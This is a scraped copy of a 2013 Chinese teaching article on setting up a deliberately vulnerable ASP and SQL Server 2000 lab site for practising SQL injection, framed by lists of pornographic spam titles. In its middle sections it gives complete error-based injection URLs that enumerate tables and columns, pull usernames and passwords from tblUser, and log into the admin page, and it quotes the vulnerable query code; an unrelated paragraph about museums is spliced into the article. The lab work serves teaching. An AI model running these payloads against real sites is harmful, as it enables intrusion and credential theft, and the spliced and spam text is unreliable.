999精品在线视频,手机成人午夜在线视频,久久不卡国产精品无码,中日无码在线观看,成人av手机在线观看,日韩精品亚洲一区中文字幕,亚洲av无码人妻,四虎国产在线观看 ?

利用SQL注入攻擊登錄網站后臺實驗環境搭建及使用研究*

2013-10-11 11:50:48曾煌存
職業教育研究 2013年11期
關鍵詞:頁面數據庫

曾煌存

(廣東外語藝術職業學院 廣東 廣州 510640)

SQL注入攻擊是黑客最喜歡使用的攻擊方式之一,其危害極大。為了在高職院校的《網絡安全與防范》課程中取得較好的教學效果,必須搭建大量的實驗環境供學生演練。

在之前工作經驗的基礎之上,筆者總結了開展ASP+SQL Server 2000環境下利用SQL注入攻擊登錄網站后臺實驗環境搭建及使用的研究,希望能對高職院校《網絡安全與防范》課程中SQL注入攻擊與防范的教學起到一定的促進作用。

利用SQL注入攻擊登錄網站后臺實驗環境的搭建

在之前的工作中,已經基于ASP+SQL Server 2000搭建了一個具有SQL注入漏洞的動態網站Testweb,并且演示了使用SQL注入攻擊,添加目標計算機系統的管理員賬戶、開啟遠程終端連接,并且用攻擊機遠程登錄到目標計算機等操作。

本文擴展了動態網站Testweb,使其有用于網站后臺登錄的頁面,然后我們將展示使用SQL注入攻擊獲得網站后臺賬戶、口令,并且登錄進入后臺的操作。

如之前的工作一樣,使用VMware WorkStatition虛擬機軟件安裝了兩臺虛擬機,一臺虛擬機安裝的是Windows Server 2003操作系統,用于模擬被攻擊的服務器,IP地址為192.168.248.132;另一臺虛擬機安裝的是Windows XP操作系統,用于模擬黑客使用的攻擊機,IP地址為192.168.248.133。

在Windows Server 2003虛擬機上,擴展了之前搭建的使用ASP+SQL Server 2000開發的簡單的動態網站Testweb。該動態網站訪問名為Testweb的數據庫,該數據庫原來只包含一個表:tblNews。我們擴展了該數據庫,使其包含另一個表:tblUser,該表用于存儲登錄后臺的賬戶和密碼。tblUser的具體結構如表1所示。

表1 tblUser具體結構表

該網站原來包括以下三個頁面:conn.asp、news.asp、displayNews.asp。其中conn.asp用于保存與 SQL Server 2000數據庫服務器的連接信息;news.asp用于讀取數據庫中的新聞記錄,顯示所有新聞的標題,并且將這些標題以超級鏈接的形式顯示。當單擊某個新聞的標題后,即可以進入形如displayNews.asp?id=xxx的頁面,看到新聞的具體內容(其中“xxx”表示某條新聞在tblNews表中ID字段的值)。

新增以下三個頁面:login.asp、processLogin.asp和main.asp。login.asp是網站后臺員登錄的頁面;processLogin.asp用于處理網站后臺的登錄,若用戶通過驗證,則跳轉到main.asp,否則跳轉回login.asp;main.asp用于模擬管理員登錄后臺后進入的頁面。與之前一樣,設置該網站的默認頁面為news.asp。

main.asp的代碼如下所示:

Welcome

從新增的三個頁面的具體代碼可以看出,新增的頁面也具有簡單,易于理解、分析和掌握的優點。

同時,頁面displayNews.asp有SQL注入漏洞,可以滿足進行SQL注入攻擊的實訓需要,其具有SQL注入漏洞的具體語句為:

目前,國內博物館的“館校合作”正處于積極、全面地開展階段。但與國外發達國家博物館的“館校合作”教育相比,還有相當大的差距。國內大部分地區的博物館,目前的普遍做法只是允許學生參觀部分展覽,其本質重“展”而不重“教”[3]。

strSql="select*from tblNews where ID="&newsID

該語句根據某條新聞的ID查詢tblNews表的內容,可以在形如displayNews.asp?id=xxx的地址后面加入精心構造的語句,從而執行特定的SQL語句,查詢信息、執行命令、進而控制服務器。

利用SQL注入攻擊登錄網站后臺實驗環境的使用

如上開發的動態網站Testweb具有SQL注入漏洞,下面我們通過破解網站后臺賬戶、口令的入侵步驟來展示該SQL注入攻擊實驗環境的使用。

訪問Testweb網站,判斷其是否具有SQL注入漏洞。

(一)猜解含有字符串“pass”的字段名以及該字段所屬表的表名

在SQL Server 2000中,當前數據庫的syscolumn表中有以下兩個字段:name和id。其中name是當前數據庫中所有表中含有的字段的名稱,id是該字段所屬表的編號。通過查詢syscolumns表,我們就可以得到含有字符串pass的字段名以及該字段所屬表格的編號。再使用SQL Server中的object_name(id)函數就可以得到字段所屬表格的名稱。

在 地 址 欄 輸 入 :http://192.168.248.132/testweb/displayNews.asp?id=1 and (select top 1 t_name%2b’|’%2bc_name from (select top 1 object_name(id)as t_name,name as c_name from syscolumns where charIndex(‘pass’,name)>0 and left(name,1)!=’@’order by t_name)as T order by t_name desc)>0 (1)

返回的提示信息包含:將 nvarchar值 'sysusers|password'轉換為數據類型為 int的列時發生語法錯誤。從返回信息中,我們可以知道當前數據庫中有一個sysusers表,該表含有password字段。

將(1)中的子查詢“select top 1 object_name(id)as t_name,name…. ”中的 1 依次修改為 2,3,……,即可得到所有含有“pass”的字段名以及該字段所屬表的的表名信息。 如將 “select top 1 object_name(id)as t_name,name….”改成“select top 2 object_name(id)as t_name,name….”后,得到的提示信息包含:將nvarchar值 'tblUser|password'轉換為數據類型為 int的列時發生語法錯誤。從該提示信息,可以知道當前數據庫中有個tblUser表,該表有password字段。

(1)比較復雜。 首先看(1)的子查詢中的:select top 1 object_name (id)as t_name,name as c_name from syscolumns where charIndex (‘pass’,name)>0 and left(name,1)!=’@’ order by t_name (2)

(2)的原理是:在syscolumns表中篩選出字段名中包含字符串“pass”,并且字段名不以字符“@”起始的記錄,然后得到這些記錄的字段名和該字段所屬的表的表名(通過object_name(id)函數從表的id得到表的名稱),再將這些結果根據表名按照升序進行排列,最后篩選出最前面的一條記錄。

(1)的原理是從子查詢(2)的結果中根據表名降序篩選出最前面的一條記錄,并將表名和字段名用“|”連接起來,得到最終的結果,最后讓其與整數0進行比較,因為類型不匹配,將導致SQL Server出錯,根據出錯信息,即可得到表名和字段名。其中“%2b”是字符串連接運算符“+”。

(二)得到用戶表的字段數目

在地址欄輸入:http://192.168.248.132/testweb/disp layNews.asp?id=1 and(select cast(count(*)as varchar(20))%2b’|’ from syscolumns where id=object_id(’tblUser’)>0 (3)

返回的信息包含:將 varchar值 '2|'轉換為數據類型為 int的列時發生語法錯誤。 從該提示信息可以確定tblUser表共含有2個字段。

(三)得到用戶表的所有字段名

在 地 址 欄 輸 入 :http://192.168.248.132/testweb/displayNews.asp?id=1 and(select top 1 cast(name as nvarchar(200))%2b’|’ from(select top 1 name from syscolumns where id=object_id (’tblUser’)order by id)as T order by id desc)>0 (4)

返回的信息包含:將 nvarchar值 'password|'轉換為數據類型為 int的列時發生語法錯誤。 從該提示信息,可以知道tblUser有一個字段為password。將子查詢 “select top 1……”中的1改為2,即可得到tblUser的第2個字段的名稱,返回的信息包含:將nvarchar值 'username|'轉換為數據類型為 int的列時發生語法錯誤。從提示信息,即可以知道tblUser的另一個字段的名稱是username。

(四)得到用戶名和密碼

在 地 址 欄 輸 入 :http://192.168.248.132/testweb/displayNews.asp?id=1 and(select top 1 username%2b’|’%2bpassword from (select top 1 username,password from tblUser order by username)as T order by username desc)>0

返回的提示信息包含:將 nvarchar值 'testweb|123456'轉換為數據類型為 int的列時發生語法錯誤。從提示信息,即可以知道其中一個用戶名/密碼為:testweb/123456。將子查詢中的“select top 1 username,password from tblUser…….”中的 1 改為 2,3……即可以得到其他的用戶名/密碼。

(五)登錄網站的后臺

使用“多線程后臺掃描器”掃描得到該網站的后臺地址為:http://192.168.248.132/testweb/login.asp

在該網頁中用戶名框輸入“testweb”,密碼框輸入“123456”即可成功登錄后臺。

結語

與DVBBS等整站程序相比,我們搭建的實驗環境具有簡單、方便學生理解、分析和掌握的優點。同時,我們的實驗環境設有SQL注入漏洞,能夠讓學生方便地演練在ASP+SQL Server 2000環境下猜解數據表的名稱、猜解字段的數目、字段的名稱、字段的內容、掃描網站后臺等操作。這對提高學生的學習興趣,掌握SQL注入攻擊的原理和具體的實施步驟很有好處。

[1]肖遙.大中型網絡入侵要案直擊與防御[M].北京:電子工業出版社,2011.

[2]朱錫華,劉月鏵,侯偉.暗戰亮劍——黑客滲透與防御全程實錄[M].北京:人民郵電出版社,2010.

[3]武新華,等.矛與盾——黑客攻防與腳本編程[M].北京:機械工業出版社,2010.

猜你喜歡
頁面數據庫
微信群聊總是找不到,打開這個開關就好了
大狗熊在睡覺
刷新生活的頁面
保健醫苑(2022年1期)2022-08-30 08:39:14
數據庫
財經(2017年15期)2017-07-03 22:40:49
數據庫
財經(2017年2期)2017-03-10 14:35:35
數據庫
財經(2016年15期)2016-06-03 07:38:02
數據庫
財經(2016年3期)2016-03-07 07:44:46
數據庫
財經(2016年6期)2016-02-24 07:41:51
同一Word文檔 縱橫頁面并存
數據庫
財經(2010年20期)2010-10-19 01:48:32
主站蜘蛛池模板: 国产黄色视频综合| 亚洲男人在线天堂| 成年人福利视频| 亚洲无码91视频| 久久久成年黄色视频| 国产91全国探花系列在线播放| 中文字幕资源站| 亚洲日韩国产精品无码专区| 无码高清专区| 国产精品无码久久久久AV| 亚洲精品成人7777在线观看| 免费不卡视频| 免费又爽又刺激高潮网址 | 亚洲日韩AV无码精品| 在线观看av永久| 成人久久精品一区二区三区 | 天天色综合4| 国产一区二区精品高清在线观看 | 中文字幕第4页| 97精品伊人久久大香线蕉| 成年人免费国产视频| 国产亚洲精品资源在线26u| 综合五月天网| 亚洲精品大秀视频| 性视频一区| 日韩人妻少妇一区二区| 综合人妻久久一区二区精品| 毛片在线播放a| 谁有在线观看日韩亚洲最新视频| 91精品免费高清在线| 欧美精品在线观看视频| 青青操国产视频| 久久综合结合久久狠狠狠97色| 伊人色天堂| 色婷婷成人网| 国产人人射| 自拍中文字幕| 精品国产三级在线观看| 成人国产精品网站在线看| 九一九色国产| 一级全黄毛片| 尤物视频一区| 国产精品hd在线播放| 色婷婷在线播放| 亚洲无码37.| 久久精品只有这里有| 色九九视频| 黄片一区二区三区| 潮喷在线无码白浆| 亚洲色精品国产一区二区三区| 尤物特级无码毛片免费| 另类综合视频| 国产乱论视频| 成人免费网站久久久| 波多野结衣无码AV在线| 99资源在线| www.亚洲一区| 国产农村1级毛片| 一级毛片免费不卡在线| 麻豆精品国产自产在线| 午夜高清国产拍精品| 国产成人91精品| 亚洲精品国产日韩无码AV永久免费网 | 久久精品中文字幕免费| 人妻精品全国免费视频| 亚洲一级无毛片无码在线免费视频| 久草网视频在线| 国产h视频免费观看| 一级毛片在线播放免费| 91外围女在线观看| 国产真实乱人视频| 亚洲精品制服丝袜二区| 午夜视频在线观看区二区| 亚洲国产亚综合在线区| 国产成人免费视频精品一区二区| 在线看片中文字幕| 久久婷婷五月综合色一区二区| 亚洲资源站av无码网址| 色欲不卡无码一区二区| 91精品免费高清在线| 久久99国产综合精品女同| 99激情网|